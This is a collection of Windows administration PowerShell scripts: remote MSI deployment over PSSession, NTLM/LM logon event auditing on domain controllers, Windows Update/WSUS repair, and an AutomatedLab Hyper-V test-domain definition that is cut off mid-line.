| .Parameter MSIParam 23 | Parameters used during the installation of the MSI file. When 24 | this parameter is not ommited the default of "/quiet" is used. 25 | 26 | .Parameter ComputerListPath 27 | The full path to the file containing the host names of the target 28 | machines. 29 | 30 | .Parameter OpenLog 31 | Opens the logfile after an installation. 32 | 33 | .Parameter NoClear 34 | Does not clear the screen when using -Verbose combined with -Openlog 35 | 36 | .Example 37 | Install-MSI-RemotePS.ps1 -MSIFile "LAPS.X64.msi" -MSILocalWorkingDirectory "C:\temp\install" -ComputerListPath "C:\temp\servers.txt" 38 | 39 | This example installs the MSI with the name "LAPS.X64.msi" located in the local foler "C:\temp\install" to all the machines found 40 | in the file "C:\temp\servers.txt". The "LAPS.X64.msi" file is installed with the default parameter "/quiet" 41 | #> 42 | 43 | 44 | Function Install-RemoteMSI{ 45 | 46 | [cmdletbinding( 47 |         DefaultParameterSetName='default' 48 | )] 49 | 50 | Param( 51 | [parameter( 52 | Position=0, 53 | Mandatory = $true, 54 | ParameterSetName='default' 55 | )] 56 | [String]$MSILocalWorkingDirectory, 57 | 58 | [parameter( 59 | Position=1, 60 | Mandatory = $true, 61 | ParameterSetName='default' 62 | )] 63 | [String]$MSIFile="install.msi", 64 | 65 | [parameter( 66 | Mandatory=$false, 67 | ParameterSetName='default' 68 | )] 69 | [String]$MSIParam="/quiet", 70 | 71 | [parameter( 72 | Mandatory = $true, 73 | ParameterSetName='default' 74 | )] 75 | [String]$ComputerListPath, 76 | 77 | [parameter( 78 | Mandatory = $false, 79 | ParameterSetName='default' 80 | )] 81 | [switch]$OpenLog, 82 | 83 | [parameter( 84 | Mandatory = $false, 85 | ParameterSetName='default' 86 | )] 87 | [switch]$NoClear 88 | 89 | ) 90 | 91 | 92 | $MSIRemoteWorkingDirectory = "C:\Windows\temp\$((New-Guid).Guid)" 93 | $LogFile = ("$env:windir\temp\$(get-date -f yyyy-MM-dd-hh-mm-ss).txt") 94 | $Tab = [char]9 95 | $start = get-date 96 | 97 | If(!(Test-Path (Join-Path $MSILocalWorkingDirectory $MSIFile))){ 98 | Write-Error "Installer File does not exist, installation cannot continue" -ErrorAction Stop 99 | } 100 | 101 | If(!(Test-Path $ComputerListPath)){ 102 | Write-Error "Server list does not exist, installation cannot continue" -ErrorAction Stop 103 | } Else 104 | { 105 | $ComputerNames = Get-Content -Path $ComputerListPath | where {$_.trim() -ne "" } 106 | } 107 | 108 | cls 109 | 110 | foreach($ComputerName in $ComputerNames){ 111 | 112 | Write-Verbose -Message "$(get-date -f "hh:mm:ss:ms") $($Tab) Installing on: $($ComputerName)" 113 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Info Starting on $($($ComputerName).ToUpper()) " | Out-File $LogFile -Append 114 | 115 | $ping = $null 116 | $Ping = Get-WmiObject -Class Win32_PingStatus -Filter "Address='$ComputerName' AND Timeout=1000" 117 | 118 | 119 | if ($Ping.IPV4Address){ 120 | 121 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Info Machine $($($ComputerName).ToUpper()) Is Available" | Out-File $LogFile -Append 122 | 123 | Try 124 | { 125 | Write-Verbose -Message "$(get-date -f "hh:mm:ss:ms") $($Tab) Creating session" 126 | $session = New-PSSession -ComputerName $computerName -ErrorAction SilentlyContinue 127 | 128 | If(!($session)){ 129 | Write-Verbose -Message "$(get-date -f "hh:mm:ss:ms") $($Tab) Session could not be created" 130 | throw $error[0].ErrorDetails 131 | } Else { 132 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Info Session with id $($session.ID) to $($($ComputerName).ToUpper()) Succesfully created" | Out-File $LogFile -Append 133 | } 134 | 135 | Write-Verbose -Message "$(get-date -f "hh:mm:ss:ms") $($Tab) Copy installation files" 136 | Copy-Item -Path $MSILocalWorkingDirectory -Filter * -ToSession $session -Destination $MSIRemoteWorkingDirectory -Recurse -Force -ErrorVariable CopyFile -ErrorAction SilentlyContinue 137 | 138 | If($CopyFile){ 139 | Write-Verbose -Message "$(get-date -f "hh:mm:ss:ms") $($Tab) Installation files could not be copied" 140 | throw $error[0].ErrorDetails 141 | } Else { 142 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Info Installation files to $($($ComputerName).ToUpper()) succesfully copied" | Out-File $LogFile -Append 143 | } 144 | 145 | Write-Verbose -Message "$(get-date -f "hh:mm:ss:ms") $($Tab) Installing on remote host" 146 | $MSIProcessExitCode = Invoke-Command -Session $session -ScriptBlock { 147 | $MSIProcess = Start-Process msiexec.exe -ArgumentList "/I $($args[1]) $($args[2])" -WorkingDirectory $($args[0]) -Wait -PassThru 148 | return $MSIProcess.ExitCode 149 | 150 | Remove-Item -Path $args[0] -Recurse -Force 151 | 152 | } -ArgumentList $MSIRemoteWorkingDirectory, $MSIFile, $MSIParam -ErrorAction SilentlyContinue 153 | 154 | If($MSIProcessExitCode -ne 0) 155 | { 156 | Write-Verbose -Message "$(get-date -f "hh:mm:ss:ms") $($Tab) Installation was not successfull" 157 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Error MSI Error Code: $MSIProcessExitCode" | Out-File $LogFile -Append 158 | throw 159 | } Else { 160 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Info $MSIFile on $($($ComputerName).ToUpper()) Succesfully Installed" | Out-File $LogFile -Append 161 | } 162 | 163 | Write-Verbose -Message "$(get-date -f "hh:mm:ss:ms") $($Tab) Remove the session" 164 | Remove-PSSession $session 165 | 166 | If(!($Session.Availability -eq "None")){ 167 | Write-Verbose -Message "$(get-date -f "hh:mm:ss:ms") $($Tab) Session could not be terminated" 168 | throw $error[0].ErrorDetails 169 | } Else { 170 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Info Session ID $($Session.ID) to Machine $($($ComputerName).ToUpper()) succesfully terminated" | Out-File $LogFile -Append 171 | } 172 | 173 | Write-Verbose "$(get-date -f "hh:mm:ss:ms") $($Tab) $($($ComputerName).ToUpper()) succesfully installed" 174 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Succes $MSIFile on $($($ComputerName).ToUpper()) Installed" | Out-File $LogFile -Append 175 | } 176 | 177 | Catch { 178 | Write-Host "$($($ComputerName).ToUpper()) Was not succesfully installed, please review the log" -ForegroundColor Red 179 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Error $($error[0].FullyQualifiedErrorId)" | Out-File $LogFile -Append 180 | } 181 | 182 | } Else 183 | { 184 | Write-Host "$($($ComputerName).ToUpper()) can not be located or reached" -ForegroundColor Red 185 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Error $($($ComputerName).ToUpper()) could not be located or reached" | Out-File $LogFile -Append 186 | } 187 | } 188 | 189 | $end = get-date 190 | $TimeSpan = New-TimeSpan -Start $start -End $end 191 | Write-Verbose -Message "" 192 | Write-Verbose -Message "Total runtime was $([math]::Round($($TimeSpan.TotalSeconds),3)) seconds" 193 | Write-Output "$(Get-Date -Format "yyyy-MM-dd hh:mm:ss"), Info Total runtime was $([math]::Round($($TimeSpan.TotalSeconds),3)) seconds" | Out-File $LogFile -Append 194 | 195 | If($OpenLog) 196 | { 197 | If(!($NoClear)){ 198 | cls 199 | } Else { 200 | write-host "" 201 | } 202 | 203 | If(Test-Path $LogFile) { 204 | $Logcontent = Get-Content $LogFile 205 | 206 | Foreach($Line in $Logcontent) { 207 | If($line -like "*, Succes*") { 208 | Write-Host $Line -ForegroundColor Green 209 | } ElseIf ($line -like "*, Error*") { 210 | Write-Host $Line -ForegroundColor Red 211 | } Else { 212 | Write-Host $Line 213 | } 214 | } 215 | } 216 | } 217 | 218 | } -------------------------------------------------------------------------------- /Scripts/Get-RemoteNTLMEvents.ps1: -------------------------------------------------------------------------------- 1 | #Requires -Version 5.1 2 | 3 | <#PSScriptInfo 4 | .VERSION 1.2 5 | .GUID 1b1d52f9-c6f9-4430-b67e-a17db25dbe7d 6 | .AUTHOR Michael Waterman 7 | .COMPANYNAME None 8 | .COPYRIGHT 9 | .TAGS NTLMv1, NTMLv2, LM, NTLM 10 | #> 11 | 12 | <# 13 | .SYNOPSIS 14 | Retreive NTLMv1 Event log data from remote servers 15 | 16 | .DESCRIPTION 17 | This script Retreives Event log data regarding NTLM V1 events from assigned servers and generates 18 | a CSV file from the data. 19 | 20 | Please note that this script requires a Windows Domain Joined Machin and the following Firewall 21 | rules to be applied for the domain profile: 22 | 23 | Remote Event Log Management (NP-In) 24 | Remote Event Log Management (RPC) 25 | Remote Event Log Management (RPC-EPMAP) 26 | 27 | .EXAMPLE 28 | Get-RemoteNTLMEvents.ps1 29 | Retreive all NTLM V1 events from all Domain Controllers. 30 | 31 | .EXAMPLE 32 | Get-RemoteNTLMEvents.ps1 -TimeFilter "24 Hours" -Servers SRV01,SRV02 33 | Retreive all NTLM V1 events from all given servers. 34 | 35 | .EXAMPLE 36 | Get-RemoteNTLMEvents.ps1 -Path C:\Events -TimeFilter "24 Hours" 37 | Retreives all NTLM V1 events from all Domain Controllers and store the csv file in c:\Events. 38 | 39 | .EXAMPLE 40 | Get-RemoteNTLMEvents.ps1 -TimeFilter "24 Hours" -AuthFilter 'LM, NTLMv1, NTLMv2' 41 | Retreives all NTLM events from all Domain Controllers and store the csv file in c:\Events. 42 | 43 | .EXAMPLE 44 | Get-RemoteNTLMEvents.ps1 -Servers log -Logname ForwardedEvents -TimeFilter 'Last 30 days' 45 | retreives all NTMLv1 and LM event between now and 30 days ago, from a WEF server (Event Log: ForwardedEvents) 46 | 47 | .NOTES 48 | AUTHOR: Michael Waterman 49 | Blog: https://michaelwaterman.nl 50 | LASTEDIT: 2023.11.26 51 | #> 52 | 53 | # Parameter input 54 | ############################################################################################## 55 | [CmdletBinding(DefaultParameterSetName="Default")] 56 | param( 57 | [Parameter( 58 | Mandatory=$false 59 | )] 60 | [string]$Path="C:\Events", 61 | [Parameter( 62 | Mandatory=$false 63 | )] 64 | [ValidateSet( 65 | "Last Hour", 66 | "Last 12 Hours", 67 | "Last 24 Hours", 68 | "Last 7 days", 69 | "Last 30 days" 70 | )] 71 | [string]$TimeFilter="Last 24 Hours", 72 | [Parameter( 73 | Mandatory=$false, 74 | ParameterSetName = 'Default' 75 | )] 76 | [switch]$DC=$True, 77 | [Parameter( 78 | Mandatory=$true, 79 | ParameterSetName = 'Servers' 80 | )] 81 | [array]$Servers, 82 | [Parameter( 83 | Mandatory=$false 84 | )] 85 | [ValidateSet( 86 | "Security", 87 | "ForwardedEvents" 88 | )] 89 | [array]$Logname="Security", 90 | [Parameter( 91 | Mandatory=$false 92 | )] 93 | [ValidateSet( 94 | "LM and NTLMv1", 95 | "NTLMv2", 96 | "LM, NTLMv1, NTLMv2" 97 | )] 98 | [string]$AuthFilter = "LM and NTLMv1" 99 | ) 100 | ############################################################################################## 101 | 102 | 103 | # Check Presence Of ActiveDirectory Module 104 | ############################################################################################## 105 | If($DC){ 106 | If (-not (Get-Module -ListAvailable | Where-Object Name -eq "ActiveDirectory") ){ 107 | Write-Error "ActiveDirectory Module not found. Please install the RSAT Active Directory Module" 108 | Return 109 | } 110 | } 111 | ############################################################################################## 112 | 113 | 114 | # Check Local Directory 115 | ############################################################################################## 116 | If(-not (Test-Path $Path) ){ 117 | New-Item -Path $Path -ItemType Directory -ErrorAction Stop | Out-Null 118 | } 119 | ############################################################################################## 120 | 121 | 122 | # Create Full Path to Log File 123 | ############################################################################################## 124 | $LogFile = Join-Path -Path $Path -ChildPath "$((Get-Date).Day)-$((Get-Date).Month)-$((Get-Date).Year)-$((Get-Date).Hour)-$((Get-Date).Minute)-$((Get-Date).Second)_NTLM.csv" 125 | ############################################################################################## 126 | 127 | 128 | # Construct TimeFilter Switch 129 | ############################################################################################## 130 | switch ( $TimeFilter ) 131 | { 132 | "Last Hour" { $TimeRange = 3600000 } 133 | "Last 12 Hours" { $TimeRange = 43200000 } 134 | "Last 24 Hours" { $TimeRange = 86400000 } 135 | "Last 7 days" { $TimeRange = 604800000 } 136 | "Last 30 days" { $TimeRange = 2592000000 } 137 | } 138 | ############################################################################################## 139 | 140 | 141 | # Construct Authentication Protocol Switch 142 | ############################################################################################## 143 | Switch ( $AuthFilter ) 144 | { 145 | "LM and NTLMv1" { $AuthRange = "Data='NTLM V1' or Data='LM'" } 146 | "NTLMv2" { $AuthRange = "Data='NTLM V2'" } 147 | "LM, NTLMv1, NTLMv2" { $AuthRange = "Data='NTLM V1' or Data='LM' or Data='NTLM V2'" } 148 | 149 | } 150 | ############################################################################################## 151 | 152 | 153 | # Obtain all domain controllers 154 | ############################################################################################## 155 | If($DC){ 156 | $DomainControllers = Get-ADDomainController -filter * 157 | } 158 | ############################################################################################## 159 | 160 | 161 | # Construct the XPath filter 162 | ############################################################################################## 163 | $XPATH = "*[System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= $($TimeRange)]]] and Event[EventData[Data[@Name='LmPackageName'] and ($($AuthRange))]]" 164 | ############################################################################################## 165 | 166 | 167 | # Main Function get-NTLMv1Events 168 | ############################################################################################## 169 | Function Get-NTLMv1Events($hostname){ 170 | 171 | Write-Host "Analysing host $hostname, please wait..." -ForegroundColor Green 172 | 173 | try { 174 | 175 | $NTLMv1Events = Get-WinEvent -LogName $Logname -FilterXPath $xpath -ComputerName $hostname -ErrorAction SilentlyContinue 176 | 177 | $NTLMv1Events | ForEach-Object { 178 | $RetObject = [ordered]@{ 179 | TimeCreated = $_.TimeCreated 180 | MachineName = $_.MachineName 181 | ProviderName = $_.ProviderName 182 | LogName = $_.LogName 183 | ID = $_.ID 184 | Keywords = $_.Keywords 185 | KeywordsDisplayNames = $_.KeywordsDisplayNames 186 | Level = $_.Level 187 | LevelDisplayName = $_.LevelDisplayName 188 | Message = $_.Message 189 | } 190 | ([xml]$_.ToXml()).Event.EventData.Data | ForEach-Object { 191 | try { 192 | $RetObject[$_.Name] = if (Get-Member -InputObject $_ -Name '#text') { 193 | $_.'#text'} 194 | else { $null } 195 | } 196 | catch { 197 | Write-Debug "[$($MyInvocation.MyCommand)] $($Error[0].Exception.Message) [$($Error[0].Exception.GetType().FullName)]" 198 | } 199 | } 200 | 201 | $Data = [PSCustomObject]$RetObject | Select-Object TimeCreated, MachineName, WorkstationName, IpAddress, IpPort, TargetUserName, TargetDomainName, ProcessId, LogonType, LmPackageName 202 | Export-Csv -InputObject $data -Path $LogFile -Delimiter "," -Append -NoTypeInformation 203 | } 204 | } 205 | catch { 206 | Write-Output $($Error[0].Exception.Message) 207 | } 208 | } 209 | ############################################################################################## 210 | 211 | 212 | # Get Event logs from Specified Servers 213 | ############################################################################################## 214 | If($Servers){ 215 | $DC=$false 216 | foreach($Server in $Servers){ 217 | Get-NTLMv1Events $Server 218 | } 219 | } 220 | ############################################################################################## 221 | 222 | 223 | # Get Event logs from Domain Controllers 224 | ############################################################################################## 225 | If($DC){ 226 | Foreach($DomainController in $DomainControllers){ 227 | 228 | Get-NTLMv1Events($DomainController.HostName) 229 | } 230 | } 231 | ############################################################################################## 232 | -------------------------------------------------------------------------------- /Scripts/Repair-WSUSUpdates.ps1: -------------------------------------------------------------------------------- 1 | [cmdletBinding()] 2 | Param( 3 | [parameter(Mandatory=$false)] 4 | [int]$WaitInSeconds = 300, 5 | 6 | [parameter(Mandatory=$false)] 7 | [int]$TripCycles = 3, 8 | 9 | [parameter(Mandatory=$false)] 10 | [string]$WUServer, 11 | 12 | [parameter(Mandatory=$false)] 13 | [switch]$RepairWU, 14 | 15 | [parameter(Mandatory=$false)] 16 | [switch]$DoCLeanUp 17 | ) 18 | 19 | function Get-MDTWSUSServer { 20 | [cmdletBinding()] 21 | param ( 22 | [parameter(Mandatory=$false)] 23 | $MDTVariablesPath = 'C:\MININT\SMSOSD\OSDLOGS\VARIABLES.DAT' 24 | ) 25 | 26 | switch ( Test-Path -Path $MDTVariablesPath ) { 27 | $true { 28 | [XML]$XML = Get-Content -Path $MDTVariablesPath 29 | $XML.SelectSingleNode('//MediaVarList/var[@name="WSUSSERVER"]').InnerText 30 | } 31 | } 32 | } 33 | 34 | function New-RegistryEntry { 35 | [cmdletBinding()] 36 | param ( 37 | [parameter(Mandatory=$true)] 38 | $SetRegPath, 39 | 40 | [parameter(Mandatory=$true)] 41 | $SetRegName, 42 | 43 | [parameter(Mandatory=$true)] 44 | $SetRegValue, 45 | 46 | [parameter(Mandatory=$true)] 47 | [ValidateSet('String','ExpandString','Binary', 'DWord', 'MultiString', 'Qword')] 48 | $SetRegPropertyType 49 | ) 50 | 51 | switch (Test-Path -Path $SetRegPath ) { 52 | $true { 53 | New-ItemProperty -Path $SetRegPath ` 54 | -Name $SetRegName ` 55 | -Value $SetRegValue ` 56 | -PropertyType $SetRegPropertyType ` 57 | -Force | Out-Null 58 | } 59 | $false { 60 | New-Item -Path $SetRegPath -Force | Out-Null 61 | 62 | New-ItemProperty -Path $SetRegPath ` 63 | -Name $SetRegName ` 64 | -Value $SetRegValue ` 65 | -PropertyType $SetRegPropertyType ` 66 | -Force | Out-Null 67 | } 68 | } 69 | } 70 | 71 | function Remove-RegistryEntry { 72 | [cmdletBinding()] 73 | param ( 74 | [parameter(Mandatory=$true)] 75 | $DelRegPath, 76 | 77 | [parameter(Mandatory=$true)] 78 | $DelregValue 79 | ) 80 | 81 | if ( Test-Path -Path $DelRegPath ){ 82 | 83 | If( (Get-Item -Path $DelRegPath).GetValue($DelregValue) ){ 84 | Remove-ItemProperty -Path $DelRegPath -Name $DelregValue -Force 85 | } 86 | } 87 | 88 | if (Test-Path -Path $DelRegPath){ 89 | 90 | if ( ( (Get-Item -Path $DelRegPath | Select-Object -ExpandProperty property).count ) -eq 0 ){ 91 | Remove-Item -Path $DelRegPath -Force 92 | } 93 | } 94 | } 95 | 96 | function Repair-WindowsUpdate { 97 | Set-Service -Name wuauserv -StartupType Manual 98 | Set-Service -Name BITS -StartupType Manual 99 | 100 | switch ( Get-Service -Name BITS ) { 101 | { $_.Status -eq 'Running' } { Stop-Service -Name BITS -Force } 102 | } 103 | 104 | switch ( Get-Service -Name wuauserv ) { 105 | { $_.Status -eq 'Running' } { Stop-Service -Name wuauserv -Force } 106 | } 107 | 108 | switch ( Test-Path -Path "C:\Windows\SoftwareDistribution" -PathType Container ) { 109 | $true { Remove-Item -Path "C:\Windows\SoftwareDistribution\*" -Recurse -Force -ErrorAction SilentlyContinue } 110 | } 111 | 112 | switch ( Test-Path -Path "C:\Windows\WindowsUpdate.log" -PathType Leaf ) { 113 | $true { Remove-Item -Path "C:\Windows\WindowsUpdate.log" -Force -ErrorAction SilentlyContinue } 114 | } 115 | 116 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\atl.dll } 117 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\jscript.dll } 118 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\msxml3.dll } 119 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\softpub.dll } 120 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wuapi.dll } 121 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wuaueng.dll } 122 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wuaueng1.dll} 123 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wucltui.dll } 124 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wups.dll } 125 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wuweb.dll } 126 | 127 | switch ( Get-Service -Name BITS ) { 128 | { $_.Status -eq 'Stopped' } { Start-Service -Name BITS -Force } 129 | } 130 | 131 | switch ( Get-Service -Name wuauserv ) { 132 | { $_.Status -eq 'Stopped' } { Start-Service -Name wuauserv -Force } 133 | } 134 | } 135 | 136 | function Update-WSUSCache { 137 | [cmdletBinding()] 138 | param ( 139 | [parameter(Mandatory=$false)] 140 | [int]$WaitInSeconds = 300, 141 | 142 | [parameter(Mandatory=$false)] 143 | [int]$TripCycles = 3 144 | ) 145 | 146 | foreach ($Counter in 1..($TripCycles -1) ){ 147 | switch ($Counter) { 148 | 1 { 149 | Write-Output "Initializing run $($Counter), waiting for $($WaitInSeconds) seconds" 150 | Invoke-Command -ScriptBlock { wuauclt /resetauthorization /detectnow /reportnow } 151 | Start-Sleep -Seconds $WaitInSeconds 152 | } 153 | } 154 | 155 | $Counter++ 156 | 157 | Write-Output "Initializing run $($Counter), waiting for $($WaitInSeconds) seconds" 158 | Start-Sleep -Seconds $WaitInSeconds 159 | Invoke-Command -ScriptBlock { wuauclt.exe /detectnow /reportnow } 160 | } 161 | } 162 | 163 | switch ( $(Get-MDTWSUSServer) ) { 164 | { !([string]::IsNullOrEmpty($_)) } { 165 | New-RegistryEntry -SetRegPath 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate' ` 166 | -SetRegName 'WUServer' ` 167 | -SetRegValue $(Get-MDTWSUSServer) ` 168 | -SetRegPropertyType 'String' 169 | 170 | New-RegistryEntry -SetRegPath 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate' ` 171 | -SetRegName 'WUStatusServer' ` 172 | -SetRegValue $(Get-MDTWSUSServer) ` 173 | -SetRegPropertyType 'String' 174 | 175 | New-RegistryEntry -SetRegPath 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU' ` 176 | -SetRegName 'UseWUServer' ` 177 | -SetRegValue 1 ` 178 | -SetRegPropertyType 'DWord' 179 | 180 | switch ( Get-Service -Name wuauserv ) { 181 | { $_.Status -eq 'Stopped' } { Start-Service -Name wuauserv } 182 | { $_.Status -eq 'Running' } { Restart-Service -Name wuauserv } 183 | } 184 | } 185 | } 186 | 187 | switch ($WUServer) { 188 | { !([string]::IsNullOrEmpty($_)) } { 189 | New-RegistryEntry -SetRegPath 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate' ` 190 | -SetRegName 'WUServer' ` 191 | -SetRegValue $WUServer ` 192 | -SetRegPropertyType 'String' 193 | 194 | New-RegistryEntry -SetRegPath 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate' ` 195 | -SetRegName 'WUStatusServer' ` 196 | -SetRegValue $WUServer ` 197 | -SetRegPropertyType 'String' 198 | 199 | New-RegistryEntry -SetRegPath 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU' ` 200 | -SetRegName 'UseWUServer' ` 201 | -SetRegValue 1 ` 202 | -SetRegPropertyType 'DWord' 203 | 204 | switch ( Get-Service -Name wuauserv ) { 205 | { $_.Status -eq 'Stopped' } { Start-Service -Name wuauserv } 206 | { $_.Status -eq 'Running' } { Restart-Service -Name wuauserv } 207 | } 208 | } 209 | } 210 | 211 | switch ( Test-Path -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate' ) { 212 | $true { 213 | switch ( (Get-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate').GetValue('WUServer') ) { 214 | {[string]::IsNullOrEmpty($_)} { Write-Error -Message "No WSUS Server could be located, this script cannot continue" -ErrorAction Stop } 215 | { !([string]::IsNullOrEmpty($_)) } { Update-WSUSCache -WaitInSeconds $WaitInSeconds -TripCycles $TripCycles } 216 | } 217 | } 218 | $false { Write-Error -Message "No WSUS Server could be located, this script can not continue" -ErrorAction Stop } 219 | } 220 | 221 | switch ($RepairWU) { 222 | $true { Repair-WindowsUpdate } 223 | } 224 | 225 | switch ($DoCLeanUp) { 226 | $true { 227 | Remove-RegistryEntry -DelRegPath 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU' -DelregValue 'UseWUServer' 228 | Remove-RegistryEntry -DelRegPath 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate' -DelregValue 'WUServer' 229 | Remove-RegistryEntry -DelRegPath 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate' -DelregValue 'WUStatusServer' 230 | 231 | switch ( Get-Service -Name wuauserv ) { 232 | { $_.Status -eq 'Stopped' } { Start-Service -Name wuauserv } 233 | { $_.Status -eq 'Running' } { Restart-Service -Name wuauserv } 234 | } 235 | } 236 | } -------------------------------------------------------------------------------- /Scripts/AutomatedLab/Source-Lab.ps1: -------------------------------------------------------------------------------- 1 | ### Notes 2 | ### When removing the lab, do: 3 | ### Remove-Lab -Name Security -RemoveExternalSwitches 4 | ### Remove the Lab Switch Manually 5 | ### get-LabVirtualNetworkDefinition | remove-LabVirtualNetworkDefinition 6 | ### get-LabVirtualNetworkDefinition (Check if anything is left) 7 | ### ipconfig /flushdns 8 | ############################################################################ 9 | 10 | $LabDefinition = 'Security' 11 | $LabVirtualNetworkDefinition = 'Lab - Virtual Switch' 12 | $LabVirtualNetworkDefinitionExt = 'External Virtual Switch' 13 | $AddressSpace = '192.168.66.0/24' 14 | $LabDomainDefinition = 'security.local' 15 | $AdminUserName = 'Superuser' 16 | $AdminPassword = 'P@ssw0rd!' 17 | $HyperVProperties = @{ 18 | EnableSecureBoot = 'On' 19 | SecureBootTemplate = 'MicrosoftWindows' 20 | EnableTpm = 'true' 21 | } 22 | $RSATIsoFile = "D:\ISO\Features\mul_windows_11_languages_and_optional_features_x64_dvd_dbe9044b.iso" 23 | $ManagementComputerName = 'LAB-PAW01' 24 | $TotalNumberOfServers = 2 25 | $TotalNumberOfEndPoints = 2 26 | $AddServer2016 = $false 27 | $AddServer2019 = $false 28 | 29 | #Create an empty lab template 30 | New-LabDefinition -Name $LabDefinition ` 31 | -DefaultVirtualizationEngine HyperV ` 32 | -VmPath "C:\AutomatedLab-VMs" 33 | 34 | # Define the Network (AddressSpace (e.g. -AddressSpace 192.168.1.0/24) is optional, if not set it will automatically be selected) 35 | # use get-vmswitch for the name of the switch, used in -Name 36 | # use get-netadapter to get the name of the adapter it should get attached to (used in AdapterName) 37 | Add-LabVirtualNetworkDefinition -Name $LabVirtualNetworkDefinition ` 38 | -AddressSpace $AddressSpace 39 | Add-LabVirtualNetworkDefinition -Name $LabVirtualNetworkDefinitionExt ` 40 | -HyperVProperties @{SwitchType = 'External'; AdapterName = 'vEthernet (External Virtual Switch)'} 41 | 42 | #Create the network definition for the router 43 | $NetAdapterRouter = @() 44 | $NetAdapterRouter += New-LabNetworkAdapterDefinition -VirtualSwitch $LabVirtualNetworkDefinition 45 | $NetAdapterRouter += New-LabNetworkAdapterDefinition -VirtualSwitch $LabVirtualNetworkDefinitionExt -UseDhcp 46 | 47 | #Set the domain definition with the domain admin account 48 | Add-LabDomainDefinition -Name $LabDomainDefinition ` 49 | -AdminUser $AdminUserName ` 50 | -AdminPassword $AdminPassword 51 | 52 | #Set the installation credentials 53 | Set-LabInstallationCredential -Username $AdminUserName ` 54 | -Password $AdminPassword 55 | 56 | #Set the parameters that are the same for all machines 57 | $PSDefaultParameterValues = @{ 58 | 'Add-LabMachineDefinition:Network' = $LabVirtualNetworkDefinition 59 | 'Add-LabMachineDefinition:Processors' = 4 60 | 'Add-LabMachineDefinition:Memory' = 2GB 61 | 'Add-LabMachineDefinition:MinMemory'= 1GB 62 | 'Add-LabMachineDefinition:MaxMemory'= 2GB 63 | 'Add-LabMachineDefinition:OperatingSystem' = 'Windows Server 2022 Standard Evaluation (Desktop Experience)' 64 | 'Add-LabMachineDefinition:EnableWindowsFirewall'= $true 65 | } 66 | 67 | #Defining LAB machines 68 | Add-LabMachineDefinition -Name "LAB-DC01" ` 69 | -DomainName $LabDomainDefinition ` 70 | -Roles RootDC 71 | 72 | #Add-LabMachineDefinition -Name "LAB-DC02" ` 73 | # -DomainName $LabDomainDefinition ` 74 | # -Roles DC 75 | 76 | Add-LabMachineDefinition -Name "LAB-EDGE" ` 77 | -Roles Routing ` 78 | -NetworkAdapter $NetAdapterRouter 79 | 80 | Add-LabMachineDefinition -Name $ManagementComputerName ` 81 | -OperatingSystem 'Windows 11 Enterprise Evaluation' ` 82 | -DomainName $LabDomainDefinition ` 83 | -HyperVProperties $HyperVProperties 84 | 85 | #Add Servers to the domain 86 | for ($AmountOfServers = 1; $AmountOfServers -le $TotalNumberOfServers; $AmountOfServers++) { 87 | Add-LabMachineDefinition -Name ("LAB-SRV0" + $AmountOfServers) ` 88 | -DomainName $LabDomainDefinition 89 | } 90 | 91 | If ($AddServer2016){ 92 | $TotalNumberOfServers++ 93 | Add-LabMachineDefinition -Name ("LAB-SRV0" + $TotalNumberOfServers ) ` 94 | -DomainName $LabDomainDefinition ` 95 | -OperatingSystem 'Windows Server 2016 Standard Evaluation (Desktop Experience)' 96 | } 97 | 98 | If ($AddServer2019){ 99 | $TotalNumberOfServers++ 100 | Add-LabMachineDefinition -Name ("LAB-SRV0" + $TotalNumberOfServers) ` 101 | -DomainName $LabDomainDefinition ` 102 | -OperatingSystem 'Windows Server 2019 Standard Evaluation (Desktop Experience)' 103 | } 104 | 105 | #Add EndPoints to the domain 106 | for ($AmountOfEndPoints = 1; $AmountOfEndPoints -le $TotalNumberOfEndPoints; $AmountOfEndPoints++) { 107 | Add-LabMachineDefinition -Name ("LAB-ENDPOINT0" + $AmountOfEndPoints) ` 108 | -OperatingSystem 'Windows 11 Enterprise Evaluation' ` 109 | -DomainName $LabDomainDefinition ` 110 | -HyperVProperties $HyperVProperties 111 | } 112 | 113 | # Install the LAB 114 | Install-Lab 115 | 116 | # Install The RSAT Tools on the PAW 117 | Mount-LabIsoImage -ComputerName 